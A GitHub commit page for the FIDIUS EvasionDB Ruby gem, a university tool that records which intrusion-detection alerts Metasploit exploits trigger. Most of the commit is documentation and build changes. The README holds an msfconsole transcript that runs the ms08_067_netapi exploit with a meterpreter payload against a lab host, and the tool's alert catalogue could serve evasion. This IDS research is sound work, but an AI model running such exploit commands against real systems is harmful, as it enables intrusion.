Skip to content

Commit

Permalink
Rake documentation task. Documentation to be improved...
Browse files Browse the repository at this point in the history
  • Loading branch information
Dominik Menke committed Apr 14, 2011
1 parent 37de52f commit 1a859a3
Show file tree
Hide file tree
Showing 5 changed files with 142 additions and 98 deletions.
4 changes: 3 additions & 1 deletion .gitignore
View file
Expand Up @@ -4,4 +4,6 @@ Gemfile.lock
pkg/* pkg/*
*~ *~
*.sqlite3 *.sqlite3
/coverage/ coverage/
doc/
.yardoc/
6 changes: 6 additions & 0 deletions .yardopts
View file
@@ -0,0 +1,6 @@
--title 'EvasionDB'
--private
--protected
--readme 'README.md'
lib/**/*.rb -
LICENSE CREDITS.md
190 changes: 99 additions & 91 deletions README.md
View file
@@ -1,12 +1,13 @@
# FIDIUS fidius-evasiondb # FIDIUS EvasionDB


The FIDIUS Evasion-DB Gem provides a database which contains knowledge about metasploit exploits and their corresponding Alert-Events produced by Intrusion Detection Systems (IDS). It includes a Metasploit plugin which supports the recording of thrown alerts during the execution of an exploit. The FIDIUS EvasionDB Gem provides a database which contains knowledge about metasploit exploits
and their corresponding alerts/events produced by intrusion detection systems (IDS). It includes a
Metasploit plugin which supports the recording of thrown alerts during the execution of an exploit.


Description ## Description


This gem is developed in the context of the students project "FIDIUS" at the This gem is developed in the context of the students project "FIDIUS" at the
University of Bremen, for more information about FIDIUS visit University of Bremen, for more information about FIDIUS visit [fidius.me](http://fidius.me/en).
[fidius.me](http://fidius.me/en).


## Installation ## Installation


Expand All @@ -22,129 +23,136 @@ Follow the instructions.


This Gem currently uses 2 databases: This Gem currently uses 2 databases:


* ids_db: A PreludeManager-Database for fetching IDMEF-Events. * `ids_db`: A Prelude Manager database for fetching IDMEF events.
* evasion_db: Knowledge-Database for information about Exploits and their IDMEF-Events. * `evasion_db`: Knowledge database for information about exploits and their IDMEF events.


Please note: The Evasion-DB Gem has only been tested with Linux systems Please note: The Evasion-DB Gem has only been tested with Linux systems and might not work with Windows.
and might not work with Windows.


## Configuration ## Configuration


The database configuration can be found in The database configuration can be found in


path/to/your/metasploit/root/data/database.yml path/to/your/metasploit/root/data/database.yml


It has been tested with Postgres and MySQL databases but should work for others, too. It has been tested with PostgreSQL and MySQL databases but should work for others, too.


## Usage ## Usage


There are two possibilities to use this Gem, either inside the Metasploit console (with a plugin) or from external scripts by requiring the Gem. There are two possibilities to use this Gem, either inside the Metasploit console (with a plugin) or
The first method (use in msfconsole) is intended to generate knowledge about exploits. You can execute any module withhin metasploit from external scripts by requiring the Gem. The first method (use in `msfconsole`) is intended to
and log corresponding IDMEF-Events. generate knowledge about exploits. You can execute any module withhin metasploit and log

corresponding IDMEF events.
Please note: Currently it is only possible to fetch IDMEF-Events from an existing and configured PreludeManager-Database. At the beginning
of a module execution timestamp and number of total events in prelude are measured. After the module is finished newly generated Please note: Currently it is only possible to fetch IDMEF events from an existing and configured
events are identified via timestamp and the attackers source ip. Prelude Manager database. At the beginning of a module execution, the timestamp and number of total

events in prelude are measured. After the module is finished newly generated events are identified
### In msfconsole via timestamp and the attackers source IP address.


* example for monitoring an exploit. After loading the plugin all modules which are executed by metasploit will be monitored. ### In `msfconsole`
All payload which is send to the target will be stored in the Knowledge-Database. After executing of the module finished generated
IDMEF-Events will be fetched from the Prelude-Database and stored to the Knowledge-Database, too. Example for monitoring an exploit. After loading the plugin all modules which are executed by

metasploit will be monitored. All payload which is send to the target will be stored in the
$ msf > load evasiondb Knowledge database. After executing of the module finished generated IDMEF events will be fetched
$ [*] EvasionDB plugin loaded. from the Prelude database and stored to the Knowledge database, too.
$ [*] Successfully loaded plugin: FIDIUS-EvasionDB
$ msf > use exploit/windows/smb/ms08_067_netapi $ msf > load evasiondb
$ msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp $ [*] EvasionDB plugin loaded.
$ PAYLOAD => windows/meterpreter/bind_tcp $ [*] Successfully loaded plugin: FIDIUS-EvasionDB
$ msf exploit(ms08_067_netapi) > set RHOST 10.20.20.1 $ msf > use exploit/windows/smb/ms08_067_netapi
$ RHOST => 10.20.20.1 $ msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
$ msf exploit(ms08_067_netapi) > exploit $ PAYLOAD => windows/meterpreter/bind_tcp
$ [*] Started bind handler $ msf exploit(ms08_067_netapi) > set RHOST 10.20.20.1
$ [*] Automatically detecting the target... $ RHOST => 10.20.20.1
$ [*] Fingerprint: Windows XP - Service Pack 2 - lang:German $ msf exploit(ms08_067_netapi) > exploit
$ [*] Selected Target: Windows XP SP2 German (NX) $ [*] Started bind handler
$ [*] Attempting to trigger the vulnerability... $ [*] Automatically detecting the target...
$ [*] Sending stage (749056 bytes) to 10.20.20.1 $ [*] Fingerprint: Windows XP - Service Pack 2 - lang:German
$ [*] Meterpreter session 1 opened (10.0.0.100:52764 -> 10.20.20.1:4444) at 2011-03-28 16:42:53 +0200 $ [*] Selected Target: Windows XP SP2 German (NX)
$ meterpreter > exit $ [*] Attempting to trigger the vulnerability...
$ [*] Meterpreter session 1 closed. Reason: User exit $ [*] Sending stage (749056 bytes) to 10.20.20.1
$ msf exploit(ms08_067_netapi) > show_events $ [*] Meterpreter session 1 opened (10.0.0.100:52764 -> 10.20.20.1:4444) at 2011-03-28 16:42:53 +0200
$ ------------------------------------------------------------ $ meterpreter > exit
$ exploit/windows/smb/ms08_067_netapi with 47 options $ [*] Meterpreter session 1 closed. Reason: User exit
$ ------------------------------------------------------------ $ msf exploit(ms08_067_netapi) > show_events
$ 11 idmef-events fetched $ ------------------------------------------------------------
$ ------------------------------------------------------------ $ exploit/windows/smb/ms08_067_netapi with 47 options
$ (1)COMMUNITY SIP TCP/IP message flooding directed to SIP proxy with 0 bytes payload $ ------------------------------------------------------------
$ (2)COMMUNITY SIP TCP/IP message flooding directed to SIP proxy with 1324 bytes payload $ 11 idmef-events fetched
$ (3)COMMUNITY SIP TCP/IP message flooding directed to SIP proxy with 0 bytes payload $ ------------------------------------------------------------
$ (4)COMMUNITY SIP TCP/IP message flooding directed to SIP proxy with 1324 bytes payload $ (1)COMMUNITY SIP TCP/IP message flooding directed to SIP proxy with 0 bytes payload
$ (5)COMMUNITY SIP TCP/IP message flooding directed to SIP proxy with 0 bytes payload $ (2)COMMUNITY SIP TCP/IP message flooding directed to SIP proxy with 1324 bytes payload
$ (6)COMMUNITY SIP TCP/IP message flooding directed to SIP proxy with 1324 bytes payload $ (3)COMMUNITY SIP TCP/IP message flooding directed to SIP proxy with 0 bytes payload
$ (7)ET POLICY PE EXE or DLL Windows file download with 1324 bytes payload $ (4)COMMUNITY SIP TCP/IP message flooding directed to SIP proxy with 1324 bytes payload
$ (8)ET POLICY PE EXE or DLL Windows file download with 1324 bytes payload $ (5)COMMUNITY SIP TCP/IP message flooding directed to SIP proxy with 0 bytes payload
$ (9)ET EXPLOIT x86 JmpCallAdditive Encoder with 759 bytes payload $ (6)COMMUNITY SIP TCP/IP message flooding directed to SIP proxy with 1324 bytes payload
$ (10)ET EXPLOIT x86 JmpCallAdditive Encoder with 467 bytes payload $ (7)ET POLICY PE EXE or DLL Windows file download with 1324 bytes payload
$ (11)NETBIOS SMB-DS IPC$ share access with 72 bytes payload $ (8)ET POLICY PE EXE or DLL Windows file download with 1324 bytes payload
$ msf exploit(ms08_067_netapi) > $ (9)ET EXPLOIT x86 JmpCallAdditive Encoder with 759 bytes payload
$ (10)ET EXPLOIT x86 JmpCallAdditive Encoder with 467 bytes payload
$ (11)NETBIOS SMB-DS IPC$ share access with 72 bytes payload
$ msf exploit(ms08_067_netapi) >


### From external script ### From external script


* require gem, connect_db * Require the gem, call `connect_db`.
* Only queries possible * Only queries are possible.


### Queries ### Queries

Sample how the knowledge in EvasionDB can be queried: Sample how the knowledge in EvasionDB can be queried:


ruby-1.9.1-p378 > require 'fidius-evasiondb' ruby-1.9.1-p378 > require 'fidius-evasiondb'
=> true => true
ruby-1.9.1-p378 > FIDIUS::EvasionDB.config "data/database.yml" ruby-1.9.1-p378 > FIDIUS::EvasionDB.config "data/database.yml"
ruby-1.9.1-p378 > events = FIDIUS::EvasionDB::Knowledge.find_events_for_exploit "exploit/windows/smb/ms08_067_netapi" ruby-1.9.1-p378 > events = FIDIUS::EvasionDB::Knowledge.find_events_for_exploit "exploit/windows/smb/ms08_067_netapi"
ruby-1.9.1-p378 > events.size ruby-1.9.1-p378 > events.size
=> 11 => 11
ruby-1.9.1-p378 > events.first.severity ruby-1.9.1-p378 > events.first.severity
=> "medium" => "medium"
ruby-1.9.1-p378 > events.first.text ruby-1.9.1-p378 > events.first.text
=> "COMMUNITY SIP TCP/IP message flooding directed to SIP proxy" => "COMMUNITY SIP TCP/IP message flooding directed to SIP proxy"


### Find an Exploit ### Find an Exploit
ruby-1.9.1-p378 > m = FIDIUS::EvasionDB::Knowledge::AttackModule.first
=> #<FIDIUS::EvasionDB::Knowledge::AttackModule id: 1, name: "exploit/windows/smb/ms08_067_netapi", options_hash: "4d70ba1e95523e6d602e316a2553decf", finished: true, created_at: "2011-04-02 13:43:44", updated_at: "2011-04-02 13:45:05"> ruby-1.9.1-p378 > m = FIDIUS::EvasionDB::Knowledge::AttackModule.first
=> #<FIDIUS::EvasionDB::Knowledge::AttackModule id: 1, name: "exploit/windows/smb/ms08_067_netapi", options_hash: "4d70ba1e95523e6d602e316a2553decf", finished: true, created_at: "2011-04-02 13:43:44", updated_at: "2011-04-02 13:45:05">


### Find IdmefEvents ### Find IdmefEvents
ruby-1.9.1-p378 > event = m.idmef_events.first
=> #<FIDIUS::EvasionDB::Knowledge::IdmefEvent id: 1, attack_module_id: 1, attack_payload_id: nil, payload: "wrong lookup type\x00\x00\x00unsupported algorithm\x00\x00\x00unknown...", detect_time: "2011-04-02 13:44:30", dest_ip: "10.20.20.1", src_ip: "10.0.0.100", dest_port: 4444, src_port: 45944, text: "COMMUNITY SIP TCP/IP message flooding directed to S...", severity: "medium", analyzer_model: "prelude-manager", ident: 1076676, created_at: "2011-04-02 13:45:03", updated_at: "2011-04-02 13:45:05"> ruby-1.9.1-p378 > event = m.idmef_events.first
=> #<FIDIUS::EvasionDB::Knowledge::IdmefEvent id: 1, attack_module_id: 1, attack_payload_id: nil, payload: "wrong lookup type\x00\x00\x00unsupported algorithm\x00\x00\x00unknown...", detect_time: "2011-04-02 13:44:30", dest_ip: "10.20.20.1", src_ip: "10.0.0.100", dest_port: 4444, src_port: 45944, text: "COMMUNITY SIP TCP/IP message flooding directed to S...", severity: "medium", analyzer_model: "prelude-manager", ident: 1076676, created_at: "2011-04-02 13:45:03", updated_at: "2011-04-02 13:45:05">


### Find Packets ### Find Packets
ruby-1.9.1-p378 > m.packets.first
=> #<FIDIUS::EvasionDB::Knowledge::Packet id: 1, attack_module_id: 1, attack_payload_id: nil, src_addr: "0.0.0.0", dest_addr: "10.20.20.1", src_port: "0", dest_port: "445", payload: "\x00\x00\x00T\xFFSMBr\x00\x00\x00\x00\x18\x01(\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xCD\x11\x00\x00\xB2|\x001\x00\x02LANMAN1.0\x00\x02...", created_at: "2011-04-02 13:43:47", updated_at: "2011-04-02 13:43:47"> ruby-1.9.1-p378 > m.packets.first
=> #<FIDIUS::EvasionDB::Knowledge::Packet id: 1, attack_module_id: 1, attack_payload_id: nil, src_addr: "0.0.0.0", dest_addr: "10.20.20.1", src_port: "0", dest_port: "445", payload: "\x00\x00\x00T\xFFSMBr\x00\x00\x00\x00\x18\x01(\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xCD\x11\x00\x00\xB2|\x001\x00\x02LANMAN1.0\x00\x02...", created_at: "2011-04-02 13:43:47", updated_at: "2011-04-02 13:43:47">


### Find Payload of Packet ### Find Payload of Packet
ruby-1.9.1-p378 > m.packets.first.payload
=> "\x00\x00\x00T\xFFSMBr\x00\x00\x00\x00\x18\x01(\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xCD\x11\x00\x00\xB2|\x001\x00\x02LANMAN1.0\x00\x02LM1.2X002\x00\x02NT LANMAN 1.0\x00\x02NT LM 0.12\x00" ruby-1.9.1-p378 > m.packets.first.payload
=> "\x00\x00\x00T\xFFSMBr\x00\x00\x00\x00\x18\x01(\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xCD\x11\x00\x00\xB2|\x001\x00\x02LANMAN1.0\x00\x02LM1.2X002\x00\x02NT LANMAN 1.0\x00\x02NT LM 0.12\x00"




### Find Options of Exploit ### Find Options of Exploit
ruby-1.9.1-p378 > m.attack_options.first.option_key
=> "EXITFUNC" ruby-1.9.1-p378 > m.attack_options.first.option_key
ruby-1.9.1-p378 > m.attack_options.first.option_value => "EXITFUNC"
=> "thread" ruby-1.9.1-p378 > m.attack_options.first.option_value
=> "thread"


## Authors and Contact ## Authors and Contact


fidius-evasiondb was written by fidius-evasiondb was written by


* FIDIUS Intrusion Detection with Intelligent User Support * FIDIUS Intrusion Detection with Intelligent User Support
<grp-fidius@tzi.de>, <http://fidius.me> <grp-fidius+evasiondb@tzi.de>, <http://fidius.me>
* in particular: * in particular:
* Bernhard Katzmarski <bkatzm@tzi.de> * Bernhard Katzmarski <bkatzm+evasiondb@tzi.de>
* Jens Färber <jfaerber@tzi.de> * Jens Färber <jfaerber+evasiondb@tzi.de>


If you have any questions, remarks, suggestion, improvements, If you have any questions, remarks, suggestion, improvements, etc. feel free to drop a line at the
etc. feel free to drop a line at the addresses given above. addresses given above. You might also join `#fidius` on Freenode or use the contact form on our
You might also join `#fidius` on Freenode or use the contact [website](http://fidius.me/en/contact).
form on our [website](http://fidius.me/en/contact).




## License ## License
Expand Down
20 changes: 20 additions & 0 deletions Rakefile
View file
Expand Up @@ -11,3 +11,23 @@ Rake::TestTask.new(:test) do |test|
test.pattern = 'test/**/test_*.rb' test.pattern = 'test/**/test_*.rb'
test.verbose = true test.verbose = true
end end

begin
require 'yard'

YARD::Rake::YardocTask.new(:doc) do |t|
t.files = ['lib/**/*.rb']
exclude = 'lib/db/'
static_files = 'LICENSE,CREDITS.md'
t.options += [
'--title', 'FIDIUS EvasionDB',
'--private', # include private methods
'--protected', # include protected methods
'--exclude', exclude,
'--files', static_files,
'--readme', 'README.md'
]
end
rescue LoadError
puts 'YARD not installed (gem install yard), http://yardoc.org'
end
20 changes: 14 additions & 6 deletions evasion-db.gemspec
View file
Expand Up @@ -6,20 +6,28 @@ Gem::Specification.new do |s|
s.name = "fidius-evasiondb" s.name = "fidius-evasiondb"
s.version = FIDIUS::EvasionDB::VERSION s.version = FIDIUS::EvasionDB::VERSION
s.platform = Gem::Platform::RUBY s.platform = Gem::Platform::RUBY
s.authors = ["Jens Färber, Bernhard Katzmarski"] s.authors = ["Jens Färber", "Bernhard Katzmarski"]
s.email = ["jfaerber@tzi.de, bkatzm@tzi.de"] s.email = ["jfaerber+evasiondb@tzi.de", "bkatzm+evasiondb@tzi.de"]
s.homepage = "http://www.fidius.me" s.homepage = "http://fidius.me"


s.add_dependency('fidius-common') s.add_dependency('fidius-common')
s.add_dependency('activerecord') s.add_dependency('activerecord')


s.summary = %q{summary here} s.summary = "The FIDIUS EvasionDB Gem provides a database which contains knowledge about "+
s.description = %q{description here} "metasploit exploits and their corresponding alerts/events produced by intrusion "+
"detection systems (IDS)."
s.description = s.summary + "\n\nIt includes a Metasploit plugin which supports the recording of "+
"thrown alerts during the execution of an exploit."


s.rubyforge_project = "evasion-db" s.rubyforge_project = ""


s.files = `git ls-files`.split("\n") s.files = `git ls-files`.split("\n")
s.test_files = `git ls-files -- {test,spec,features}/*`.split("\n") s.test_files = `git ls-files -- {test,spec,features}/*`.split("\n")
s.executables = `git ls-files -- bin/*`.split("\n").map{ |f| File.basename(f) } s.executables = `git ls-files -- bin/*`.split("\n").map{ |f| File.basename(f) }
s.require_paths = ["lib"] s.require_paths = ["lib"]

s.rdoc_options << '--title' << s.name <<
'--main' << 'README.md' << '--show-hash' <<
`git ls-files -- lib/*`.split("\n") <<
'README.md' << 'LICENSE' << 'CREDITS.md'
end end

0 comments on commit 1a859a3

Please sign in to comment.